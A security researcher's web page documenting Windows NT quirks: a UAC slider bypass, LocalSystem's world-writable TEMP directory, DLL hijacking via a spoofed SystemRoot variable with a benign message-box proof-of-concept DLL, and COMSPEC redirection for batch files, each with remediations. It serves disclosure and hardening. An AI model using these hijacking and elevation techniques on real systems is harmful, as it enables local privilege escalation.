Valid HTML 4.01 Transitional Valid CSS Valid SVG 1.0

Me, myself & IT

Idiosyncrasies – Odd, Surprising, Un(der)documented or Weird (Mis)behaviour of Microsoft® Windows NT

Purpose
Quirk № 0
Demonstration
Background Information
Quirk № 1
Background Information
Demonstration
Remediation
Quirk № 2
Demonstration
Exploit
Quirk № 3
Background Information
Demonstration (Part 1)
Remediation
Demonstration (Part 2)
Security Impact
Quirk № 4
Demonstration
Security Impact
Remediation
MSRC Case 59749
Quirk № 5
Demonstration
Security Impact
Remediation
Quirk № 6
Demonstration
Security Impact
Remediation
Quirk № 7
Demonstration
Quirk № 8
Demonstration
Security Impact
MSRC Case 71680
Quirk № 9
Demonstration
Quirk № 10
Demonstration
Quirk № 11
Demonstration
Quirk № 12
Demonstration
Quirk № 13
Demonstration
Security Impact
Exploit
Mitigation
MSRC Case 64465
Quirk № 14
Demonstration
Quirk № 15
Demonstration
Quirk № 16
Demonstration
Security Impact
MSRC Case 65060
Quirk № 17
Demonstration
Quirk № 18
Demonstration (Variant 1)
Demonstration (Variant 2)
Quirk № 19
Demonstration
Quirk № 20
Demonstration
Quirk № 21
Demonstration
Quirk № 22
Demonstration
Quirk № 23
Demonstration
Quirk № 24
Demonstration
Quirk № 25
Demonstration
Quirk № 26
Demonstration
Quirk № 27
Demonstration
Quirk № 28
Demonstration
Quirk № 29
Demonstration
Quirk № 30
Demonstration
Quirk № 31
Demonstration
Quirk № 32
Demonstration
Quirk № 33
Demonstration
Quirk № 34
Demonstration
Quirk № 35
Demonstration
Quirk № 36
Demonstration
Quirk № 37
Demonstration
Quirk № 38
Demonstration
Quirk № 39
Demonstration
Quirk № 40
Demonstration
Quirk № 41
Demonstration
Quirk № 42
Demonstration
Quirk № 43
Demonstration
Quirk № 44
Demonstration
Quirk № 45
Demonstration
Quirk № 46
Demonstration
Quirk № 47
Demonstration
Quirk № 48
Demonstration
Quirk № 49
Demonstration (Variant 1)
Demonstration (Variant 2)
Demonstration (Variant 3)
Security Impact
Mitigation
Alternate Mitigation
Trivia

Purpose

Show interfaces, functions and components of Microsoft Windows NT which exhibit odd, surprising, undocumented or weird (mis)behaviour, i.e. idiosyncrasies and quirks.

Quirk № 0

User Account Protection was the preliminary name for a core security component of Windows Vista. The component has now been officially named User Account Control (UAC).
[Screen shot of default 'User Account Control Settings' from Windows 7] Windows Vista® introduced the security feature (really: security theatre) User Account Control: programs which need or want to be run with administrative privileges and access rights have to ask the user for consent.

This made some (really: a minority of) users quite angry: although these (rather braindead) users continued to abuse the (privileged) Protected Administrator account created during Windows Setup for their daily work (instead to follow best practise and use an unprivileged limited alias standard user account), they had to answer a prompt whenever they wanted to perform an administrative task.
Unfortunately Microsoft heard these users and weakened the security feature (really: security nightmare): Windows 7 introduced auto-elevation and enabled it for some 55 programs shipped with Windows 7 and later versions, which don’t prompt for consent any more.

Due to flaws in the design and deficiencies in the implementation of User Account Control it can be bypassed trivially in numerous ways with its auto-elevation (mis)feature enabled. As result, arbitrary programs can then be run with administrative privileges and access rights without prompting the user for consent.
To defeat some of these trivial bypasses, auto-elevation must be disabled by moving the slider of the User Account Control setting to its highest position titled Always notify, as documented and shown in the MSKB articles 975787 and 4462938.

Caveat: the slider position shown by the graphical user interface but does not always match the effective setting – it shows Always notify even if the default setting Notify me only when programs try to make changes to my computer is configured!

Demonstration

[Screen shot of 'Group Policy Object Editor' from Windows 7] On default installations of Windows 7 or later versions of Windows NT perform the following 9 simple steps.
  1. Log on to the user Protected Administrator account created during Windows Setup.

  2. Start one of the programs which have auto-elevation enabled, for example NetPlWiz.exe, PrintUI.exe or WUSA.exe: they start without to prompt for consent.

  3. Open Control Panel, then User Accounts and click Change User Account Control setting: move the slider to its highest position titled Always notify and click the OK button to apply the changed setting.

  4. Run the command line "%SystemRoot%\System32\MMC.exe" "%SystemRoot%\System32\GPEdit.msc" to start the Local Group Policy Editor snap-in of the Microsoft Management Console, or run the command line "%SystemRoot%\System32\MMC.exe" "%SystemRoot%\System32\SecPol.msc" to start the Local Security Policy snap-in, answer the prompt for consent, then open the Local Policies folder and the Security Options subfolder below it: the policy User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode is shown as Prompt for consent on the secure desktop, properly matching the setting changed in step 3.

  5. Repeat step 2.: the auto-elevating programs prompt for consent now.

  6. Start RegEdit.exe, answer the prompt for consent, then open the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System and delete the DWORD registry entry ConsentPromptBehaviorAdmin present there.

  7. Repeat step 4.: the policy User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode is now properly shown as Not Defined.

  8. Open Control Panel, then User Accounts and click Change User Account Control setting: the slider is still shown in its highest position Always notify.

  9. Repeat step 2.: despite the unchanged slider position Always notify the auto-elevating programs don’t prompt for consent any more!

OUCH: the slider is supposed to access and manage a setting, but abuses a registry entry reserved for a policy instead, it misinterprets the default policy value Not Defined and violates the more than 25 year old Designed for Windows guidelines!

Background Information

Windows NT supports the following evaluation order or hierarchy and rules for program defaults, settings, preferences and policies:
  1. Hard-coded program defaults are in effect only when neither a setting nor a preference nor a policy is present;
  2. User-specific settings are stored in the user’s registry, either as
    [HKEY_CURRENT_USER\Software\‹company name›\‹program name›]
    "‹setting›"=…
    or as
    [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\‹program name›]
    "‹setting›"=…
  3. User-specific policies are stored in the user’s registry, either as
    [HKEY_CURRENT_USER\Software\Policies\‹company name›\‹program name›]
    "‹policy›"=…
    or as
    [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\‹program name›]
    "‹policy›"=…
  4. System-wide settings alias preferences are stored in the machine’s registry, either as
    [HKEY_LOCAL_MACHINE\SOFTWARE\‹company name›\‹program name›]
    "‹setting›"=…
    or as
    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\‹program name›]
    "‹setting›"=…
  5. System-wide policies are stored in the machine’s registry, either as
    [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\‹company name›\‹program name›]
    "‹policy›"=…
    or as
    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\‹program name›]
    "‹policy›"=…
  6. User-specific settings and policies take precedence over system-wide preferences and policies;
  7. Policies override preferences and settings;
  8. When a policy is present for a preference or setting, the (graphical) user interface shows the resulting effective setting, but restricts any change to it, and optionally shows a text that indicates the presence of a (overriding) policy as reason for this restriction;
  9. Policies are reserved for use by the (local) administrator, they MUST NOT be set by any other party, and can not be set by (unprivileged) users due to the access control lists of the policies’ registry keys!

Quirk № 1

The MSDN articles Environment Variables and User Environment Variables specify how environment variables are processed:
Every process has an environment block that contains a set of environment variables and their values. There are two types of environment variables: user environment variables (set for each user) and system environment variables (set for everyone).

By default, a child process inherits the environment variables of its parent process. […]

[…] To programmatically add or modify system environment variables, add them to the HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment registry key, […]

Environment variables specify search paths for files, directories for temporary files, application-specific options, and other similar information. The system maintains an environment block for each user and one for the computer. The system environment block represents environment variables for all users of the particular computer. A user's environment block represents the environment variables the system maintains for that particular user, including the set of system environment variables.

By default, each process receives a copy of the environment block for its parent process. Typically, this is the environment block for the user who is logged on. […]

Both articles but fail to tell that two kinds of user environment variables exist, permanent and volatile, that volatile environment variables obscure permanent environment variables with the same name, how to add or modify them, and where they are stored: permanent user environment variables are stored in the registry key HKEY_CURRENT_USER\Environment alias HKEY_USERS\‹security identifier›\Environment, while volatile user environment variables are stored in the (volatile) registry key HKEY_CURRENT_USER\Volatile Environment alias HKEY_USERS\‹security identifier›\Volatile Environment, where they are created during user logon and discarded when the user logs off.

The articles also fail to tell that not all system environment variables are stored in the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment: the system environment variables ALLUSERSPROFILE, COMPUTERNAME, PUBLIC, CommonProgramFiles, CommonProgramFiles(x86), CommonProgramW6432, ProgramData, ProgramFiles, ProgramFiles(x86), ProgramW6432, SystemDrive and SystemRoot are created programmatically.

And they fail to tell that user environment variables obscure system environment variables of the same name – with but two notable exceptions:

Thanks to the braindead (mis)behaviour listed last, privileged processes running under the user account NT AUTHORITY\SYSTEM alias LocalSystem use the unsafe user-writable directory %SystemRoot%\Temp\ instead of their private and safe directory %USERPROFILE%\AppData\Local\Temp\ alias %SystemRoot%\System32\Config\SystemProfile\AppData\Local\Temp\, allowing unprivileged users to tamper with (executable) files created there by these privileged processes, eventually resulting in local escalation of privilege.

Note: see the Security Advisory ADV170017 for just one example of such a vulnerability.

Background Information

Windows 2000 relocated all user profiles from their previous directories %SystemRoot%\Profiles\%USERNAME%\ into new directories %SystemDrive%\Documents and Settings\%USERNAME%\.
It also introduced the user profile for the (privileged) user account NT AUTHORITY\SYSTEM alias LocalSystem in the new directory %SystemRoot%\System32\Config\SystemProfile\.

Note: its location was a rather braindead choice, as it is subject to file system redirection on 64-bit editions of Windows NT, where two separate directories %SystemRoot%\System32\Config\SystemProfile\ and %SystemRoot%\SysWoW64\Config\SystemProfile\ exist!

The world-writable Temp directory %SystemRoot%\Temp\, shared by all users in previous versions of Windows NT, was replaced with separate private Temp directories %USERPROFILE%\Local Settings\Temp\ alias %SystemDrive%\Documents and Settings\%USERNAME%\Local Settings\Temp\ located within the user profiles – except for the LocalSystem user account, which continued (and still continues) to use the (still world-writable) directory %SystemRoot%\Temp\!

Windows XP added the (unprivileged) user accounts NT AUTHORITY\LOCAL SERVICE alias LocalService and NT AUTHORITY\NETWORK SERVICE alias NetworkService, placed their user profiles in the directories %SystemDrive%\Documents and Settings\LocalService\ and %SystemDrive%\Documents and Settings\NetworkService\, set their user environment variables TEMP and TMP to %USERPROFILE%\Local Settings\Temp, and created a private Temp directory within both user profiles.

Windows Vista relocated these two service profiles to the new directories %SystemRoot%\ServiceProfiles\LocalService\ and %SystemRoot%\ServiceProfiles\NetworkService\, relocated all normal user profiles %SystemDrive%\Documents and Settings\%USERNAME%\ to the directories %SystemDrive%\Users\%USERNAME%\, and kept the profile %SystemRoot%\System32\Config\SystemProfile\.
All user accounts except LocalSystem kept their private Temp directory, now %USERPROFILE%\AppData\Local\Temp\ alias %SystemDrive%\Users\%USERNAME%\AppData\Local\Temp\ for the normal user accounts and %SystemRoot%\ServiceProfiles\LocalService\AppData\Local\Temp\ respectively %SystemRoot%\ServiceProfiles\NetworkService\AppData\Local\Temp\ for the service user accounts.

At least since Windows 7 the user environment variables TEMP and TMP are set in the LocalSystem user account too, despite the directory %USERPROFILE%\AppData\Local\Temp\ alias %SystemRoot%\System32\Config\SystemProfile\AppData\Local\Temp\ is missing in its user profile!

The MSDN article Profiles Directory provides additional information.

Demonstration

Perform the following 5 simple steps to show the (mis)behaviour.
  1. Create the text file quirk1.vbs with the following content in an arbitrary directory:

    Rem Copyright © 1999-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    With WScript.CreateObject("WScript.Shell")
        WScript.Echo "Environment Variables"
    
        For Each strScope In Array("PROCESS", "SYSTEM", "USER", "VOLATILE")
            WScript.Echo
            WScript.Echo "Scope '" & strScope & "': " & .Environment(strScope).Count & " items"
    
            For Each strItem In .Environment(strScope)
                WScript.Echo vbTab & strItem
            Next
        Next
    End With
  2. Execute the VBScript quirk1.vbs created in step 1. under the LocalSystem user account to list the environment variables of all scopes:

    CSCRIPT.EXE quirk1.vbs
    Microsoft (R) Windows Script Host, Version 5.812
    Copyright (C) Microsoft Corporation. All rights reserved.
    
    Environment Variables
    
    Scope 'PROCESS': 36 items
    	=C:=C:\Windows\System32
    	=ExitCode=00000000
    	ALLUSERSPROFILE=C:\ProgramData
    	APPDATA=C:\Windows\system32\config\systemprofile\AppData\Roaming
    	CommonProgramFiles=C:\Program Files\Common Files
    	CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
    	CommonProgramW6432=C:\Program Files\Common Files
    	COMPUTERNAME=AMNESIAC
    	ComSpec=C:\Windows\system32\cmd.exe
    	DriverData=C:\Windows\System32\Drivers\DriverData
    	HOMEDRIVE=C:
    	HOMEPATH=\Windows\system32
    	LOCALAPPDATA=C:\Windows\system32\config\systemprofile\AppData\Local
    	NUMBER_OF_PROCESSORS=2
    	OS=Windows_NT
    	Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
    	PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
    	PROCESSOR_ARCHITECTURE=AMD64
    	PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 23 Stepping 10, GenuineIntel
    	PROCESSOR_LEVEL=6
    	PROCESSOR_REVISION=170a
    	ProgramData=C:\ProgramData
    	ProgramFiles=C:\Program Files
    	ProgramFiles(x86)=C:\Program Files (x86)
    	ProgramW6432=C:\Program Files
    	PROMPT=$P$G
    	PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules
    	PUBLIC=C:\Users\Public
    	SystemDrive=C:
    	SystemRoot=C:\Windows
    	TEMP=C:\Windows\TEMP
    	TMP=C:\Windows\TEMP
    	USERDOMAIN=KANTHAK
    	USERNAME=System
    	USERPROFILE=C:\Windows\system32\config\systemprofile
    	windir=C:\Windows
    
    Scope 'SYSTEM': 15 items
    	ComSpec=%SystemRoot%\system32\cmd.exe
    	DriverData=C:\Windows\System32\Drivers\DriverData
    	OS=Windows_NT
    	Path=%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SYSTEMROOT%\System32\OpenSSH\
    	PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
    	PSModulePath=%SystemRoot%\system32\WindowsPowerShell\v1.0\Modules\
    	TEMP=%SystemRoot%\TEMP
    	TMP=%SystemRoot%\TEMP
    	USERNAME=SYSTEM
    	windir=%SystemRoot%
    	NUMBER_OF_PROCESSORS=2
    	PROCESSOR_ARCHITECTURE=AMD64
    	PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 23 Stepping 10, GenuineIntel
    	PROCESSOR_LEVEL=6
    	PROCESSOR_REVISION=170a
    
    Scope 'USER': 3 items
    	PATH=%USERPROFILE%\AppData\Local\Microsoft\WindowsApps;
    	TEMP=%USERPROFILE%\AppData\Local\Temp
    	TMP=%USERPROFILE%\AppData\Local\Temp
    
    Scope 'VOLATILE': 0 items
    Oops: although the user environment variables TEMP and TMP exist, the process environment variables TEMP and TMP were set from the system environment variables!
  3. Start the Command Processor under the LocalSystem user account, then list all environment variables and (the contents of) the directory %LOCALAPPDATA%\ alias %USERPROFILE%\AppData\Local\ alias %SystemRoot%\System32\Config\SystemProfile\AppData\Local\ to determine whether a subdirectory Temp\ exists there:

    SET
    DIR /A "%LOCALAPPDATA%"
    ALLUSERSPROFILE=C:\ProgramData
    APPDATA=C:\Windows\system32\config\systemprofile\AppData\Roaming
    CommonProgramFiles=C:\Program Files\Common Files
    CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
    CommonProgramW6432=C:\Program Files\Common Files
    COMPUTERNAME=AMNESIAC
    ComSpec=C:\Windows\system32\cmd.exe
    DriverData=C:\Windows\System32\Drivers\DriverData
    HOMEDRIVE=C:
    HOMEPATH=\Windows\system32
    LOCALAPPDATA=C:\Windows\system32\config\systemprofile\AppData\Local
    NUMBER_OF_PROCESSORS=2
    OS=Windows_NT
    Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
    PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
    PROCESSOR_ARCHITECTURE=AMD64
    PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 23 Stepping 10, GenuineIntel
    PROCESSOR_LEVEL=6
    PROCESSOR_REVISION=170a
    ProgramData=C:\ProgramData
    ProgramFiles=C:\Program Files
    ProgramFiles(x86)=C:\Program Files (x86)
    ProgramW6432=C:\Program Files
    PROMPT=$P$G
    PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules
    PUBLIC=C:\Users\Public
    SystemDrive=C:
    SystemRoot=C:\Windows
    TEMP=C:\Windows\TEMP
    TMP=C:\Windows\TEMP
    USERDOMAIN=KANTHAK
    USERNAME=System
    USERPROFILE=C:\Windows\system32\config\systemprofile
    windir=C:\Windows
    
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Windows\system32\config\systemprofile\AppData\Local
    
    04/27/2019  08:15 AM    <DIR>          .
    04/27/2019  08:15 AM    <DIR>          ..
    04/27/2019  08:15 AM    <DIR>          Microsoft
                   0 File(s)              0 bytes
                   3 Dir(s)    9,876,543,210 bytes free
    Oops: a subdirectory Temp\ does not exist!
  4. Query the registry keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment, HKEY_USERS\S-1-5-18\Environment and HKEY_USERS\S-1-5-18\Volatile Environment to list the environment variables stored in the registry:

    REG.EXE QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment"
    REG.EXE QUERY "HKEY_USERS\S-1-5-18\Environment"
    REG.EXE QUERY "HKEY_USERS\S-1-5-18\Volatile Environment"
    Note: the MSKB article 243300 gives the well-known SID S-1-5-18 for the NT AUTHORITY\SYSTEM alias LocalSystem user account.
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
        ComSpec    REG_EXPAND_SZ    %SystemRoot%\system32\cmd.exe
        DriverData    REG_SZ    C:\Windows\System32\Drivers\DriverData
        NUMBER_OF_PROCESSORS    REG_SZ    2
        OS    REG_SZ    Windows_NT
        Path    REG_EXPAND_SZ    %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SYSTEMROOT%\System32\OpenSSH\
        PATHEXT    REG_SZ    .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
        PROCESSOR_ARCHITECTURE    REG_SZ    AMD64
        PROCESSOR_IDENTIFIER    REG_SZ    Intel64 Family 6 Model 23 Stepping 10, GenuineIntel
        PROCESSOR_LEVEL    REG_SZ    6
        PROCESSOR_REVISION    REG_SZ    170a
        PSModulePath    REG_EXPAND_SZ    %ProgramFiles%\WindowsPowerShell\Modules;%SystemRoot%\system32\WindowsPowerShell\v1.0\Modules
        TEMP    REG_EXPAND_SZ    %SystemRoot%\TEMP
        TMP    REG_EXPAND_SZ    %SystemRoot%\TEMP
        USERNAME    REG_SZ    SYSTEM
        windir    REG_EXPAND_SZ    %SystemRoot%
    
    HKEY_USERS\S-1-5-18\Environment
        Path    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Microsoft\WindowsApps;
        TEMP    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Temp
        TMP    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Temp
    
    ERROR: The specified registry key or value was not found.
  5. For comparison query the registry keys HKEY_CURRENT_USER\Environment and HKEY_CURRENT_USER\Volatile Environment of a standard user account:

    REG.EXE QUERY "HKEY_CURRENT_USER\Environment"
    REG.EXE QUERY "HKEY_CURRENT_USER\Volatile Environment" /S
    HKEY_CURRENT_USER\Environment
        Path    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Microsoft\WindowsApps;
        TEMP    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Temp
        TMP    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Temp
    
    HKEY_CURRENT_USER\Volatile Environment
        LOGONSERVER    REG_SZ    \\AMNESIAC
        USERDOMAIN    REG_SZ    AMNESIAC
        USERNAME    REG_SZ    Stefan
        USERPROFILE    REG_SZ    C:\Users\Stefan
        HOMEPATH    REG_SZ    \Users\Stefan
        HOMEDRIVE    REG_SZ    C:
        APPDATA    REG_SZ    C:\Users\Stefan\AppData\Roaming
        LOCALAPPDATA    REG_SZ    C:\Users\Stefan\AppData\Local
        USERDOMAIN_ROAMINGPROFILE    REG_SZ    AMNESIAC
    
    HKEY_CURRENT_USER\Volatile Environment\1
        SESSIONNAME    REG_SZ    Console
        CLIENTNAME    REG_SZ    

Remediation

Create the missing directory %SystemRoot%\System32\Config\SystemProfile\AppData\Local\Temp\, then start the program SystemPropertiesAdvanced.exe, click the button Environment Variables, replace the value %SystemRoot%\TEMP of the system environment variables TEMP and TMP with %USERPROFILE%\AppData\Local\Temp, save the changed settings and reboot the system.

Caveat: on 64-bit systems, the disjoint directories might cause surprising (mis)behaviour!

Quirk № 2

Multiple undocumented dependencies on environment variables, which result in well-known weaknesses like CWE-73: External Control of File Name or Path, CWE-426: Untrusted Search Path and CWE-427: Uncontrolled Search Path Element documented in the CWE, and allow well-known attacks like CAPEC-13: Subverting Environment Variable Values and CAPEC-471: Search Order Hijacking documented in the CAPEC.

Note: a proper implementation calls functions like GetSystemDirectory(), GetSystemWindowsDirectory(), GetSystemWow64Directory(), GetWindowsDirectory(), SHGetFolderPath() and SHGetKnownFolderPath() to determine (system) paths instead to evaluate (user-controlled) environment variables!

Demonstration

Start the Command Processor, then run the following command lines to remove all environment variables and (attempt to) execute the applications Explorer.exe, NotePad.exe, RegEdit.exe and Write.exe as well as IExplore.exe and WordPad.exe afterwards:
REM Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
CHDIR /D "%SystemRoot%"
FOR /F "Delims==" %? IN ('SET') DO @SET %?=
DIR Explorer.exe NotePad.exe RegEdit.exe Write.exe Win.ini /B
Explorer.exe /E,/Separate,.
NotePad.exe /P Win.ini
RegEdit.exe /M
Write.exe
START IExplore.exe
START WordPad.exe
EXIT
Note: the command lines can be copied and pasted as block into a Command Processor window! [Screen shot of error message from 'START WordPad.exe' on Windows 7]
explorer.exe
notepad.exe
regedit.exe
write.exe
win.ini
Oops: while NotePad.exe and RegEdit.exe start properly, Explorer.exe, Write.exe plus START IExplore.exe fail silently, and START WordPad.exe fails with an error message box!

Exploit

Perform the following 3 simple steps to exploit the misbehaviour vulnerability.
  1. Create the text file quirk2.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	WINAPI	_DllMainCRTStartup(HMODULE hModule,
    		                   DWORD   dwReason,
    		                   LPVOID  lpReserved)
    {
    	WCHAR	szModule[MAX_PATH];
    	DWORD	dwModule;
    	WCHAR	szProcess[MAX_PATH];
    	DWORD	dwProcess;
    	WCHAR	szMessage[1024];
    
    	if (dwReason != DLL_PROCESS_ATTACH)
    		return FALSE;
    
    	dwModule = GetModuleFileName(hModule,
    	                             szModule,
    	                             sizeof(szModule) / sizeof(*szModule));
    
    	if (dwModule < sizeof(szModule) / sizeof(*szModule))
    		szModule[dwModule] = L'\0';
    
    	dwProcess = GetModuleFileName((HMODULE) NULL,
    	                              szProcess,
    	                              sizeof(szProcess) / sizeof(*szProcess));
    
    	if (dwProcess < sizeof(szProcess) / sizeof(*szProcess))
    		szProcess[dwProcess] = L'\0';
    
    	if (wsprintf(szMessage,
    	             L"\'%ls\' loaded at address 0x%p in process \'%ls\'\n",
    	             szModule, hModule, szProcess) == 0)
    		return FALSE;
    
    	return IDOK == MessageBoxEx(HWND_DESKTOP,
    	                            szMessage,
    	                            __LPREFIX(__FUNCTION__) L"() entry point",
    	                            MB_OKCANCEL,
    	                            MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT));
    }
  2. Build the DLL quirk2.dll from the source file quirk2.c created in step 1.:

    SET CL=/GAFy /LD /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib
    CL.EXE quirk2.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk2.dll is a pure Win32 DLL and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk2.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib
    /out:quirk2.dll
    /dll
    /implib:quirk2.lib
    quirk2.obj
  3. Create a subdirectory System32\ in the current directory, create hardlinks NDFAPI.dll and PropSys.dll of the DLL quirk2.dll built in step 2. in this subdirectory, set the environment variable SystemRoot to the current directory, then run the two START commands used before again: [Screen shot of message box from bogus 'PropSys.dll' on Windows 7]

    MKDIR System32
    MKLINK /H System32\NDFAPI.dll quirk2.dll
    MKLINK /H System32\PropSys.dll quirk2.dll
    SET SystemRoot=%CD%
    START IExplore.exe
    START WordPad.exe
    Note: the command lines can be copied and pasted as block into a Command Processor window!
    [Screen shot of message box from bogus 'NDFAPI.dll' on Windows 7]
    Hardlink created for System32\NPFAPI.dll <<===>> quirk2.dll
    Hardlink created for System32\PropSys.dll <<===>> quirk2.dll
    OUCH: the builtin Start command of the Command Processor loads and executes (at least) arbitrary bogus DLLs named NDFAPI.dll and PropSys.dll from an arbitrary bogus system directory!
Note: finding more vulnerabilities (really: beginner’s errors) which let applications shipped with Windows load and execute other DLLs or applications from arbitrary (local or remote) paths via (user-controlled) environment variables is left as an exercise to the reader.

Quirk № 3

The extensions .bat and .cmd are associated with the File Types alias Programmatic Identifiers batfile and cmdfile whose Open verb is registered with the command line "%1" %*:
ASSOC .bat
ASSOC .cmd
FTYPE batfile
FTYPE cmdfile
.bat=batfile
.cmd=cmdfile
batfile="%1" %*
cmdfile="%1" %*

Background Information

The Win32 functions ShellExecute() and ShellExecuteEx() retrieve these command line templates, replace the various tokens %… with file or path names and arguments, then feed the completed command line to one of the CreateProcess(), CreateProcessAsUser(), CreateProcessWithLogonW() or CreateProcessWithTokenW() functions.

The documentation for the CreateProcess() function states:

To run a batch file, you must start the command interpreter; set lpApplicationName to cmd.exe and set lpCommandLine to the following arguments: /c plus the name of the batch file.

Demonstration (Part 1)

Perform the following 4 (plus 1) simple steps to show undocumented (mis)behaviour:
  1. Create the text file quirk3.vbs with the following content in an arbitrary, preferable empty directory:

    Rem Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    With WScript.CreateObject("Scripting.FileSystemObject")
    	Const fsoWindowsFolder   = 0
    	Const fsoSystemFolder    = 1
    	Const fsoTemporaryFolder = 2
    
    	strFolder = .GetSpecialFolder(fsoWindowsFolder).Path
    	strProgram = .BuildPath(strFolder, "NotePad.exe")
    End With
    
    With WScript.CreateObject("WScript.Shell").Environment("VOLATILE")
    	If .Item("COMSPEC") = vbNullString Then
    		.Item("COMSPEC") = strProgram
    	Else
    		.Remove("COMSPEC")
    	End If
    End With
  2. Execute the VBScript quirk3.vbs created in step 1. per double-click to set the volatile environment variable COMSPEC to the path name of the Editor.

  3. Create the text files quirk3.bat and quirk3.cmd with the following content in an arbitrary, preferable empty directory:

    PAUSE
  4. Execute the batch scripts quirk3.bat and quirk3.cmd created in step 3. per double-click.

    OUCH: instead of the Command Processor the Editor starts and displays an error message box; most obviously Microsoft’s developers and their quality miserability assurance ignore their own companies’ documentation and guidelines!

  5. Execute the VBScript quirk3.vbs created in step 1. per double-click to remove the volatile environment variable COMSPEC again.

Note: the repetition of this demonstration with the volatile (or user) environment variable COMSPEC pointing to an arbitrary Alternate Data Stream or an arbitrary UNC path \\‹computer›\‹share›\[‹directory›\[…\]]‹file› is left as an exercise to the reader!

Remediation

Change the command line associated with the extensions .BAT and .CMD from its default value "%1" %* to C:\Windows\System32\Cmd.exe /D /C CALL "%L" %* to prevent the execution of an arbitrary (rogue) application when starting batch scripts:
FTYPE batfile=%COMSPEC% /D /C CALL "%L" %*
FTYPE cmdfile=%COMSPEC% /D /C CALL "%L" %*
Note: the builtin Ftype command must be run with administrative privileges.

If you still have not abandonded the bad habit of using the Protected Administrator account created during Windows Setup you need to change the command line registered for the RunAs verb too:

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\Shell\Open\Command]
@="C:\\Windows\\System32\\Cmd.exe /D /C CALL \"%L\" %*"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\Shell\RunAs\Command]
@="C:\\Windows\\System32\\Cmd.exe /D /C CALL \"%L\" %*"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\Shell\Open\Command]
@="C:\\Windows\\System32\\Cmd.exe /D /C CALL \"%L\" %*"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\Shell\RunAs\Command]
@="C:\\Windows\\System32\\Cmd.exe /D /C CALL \"%L\" %*"
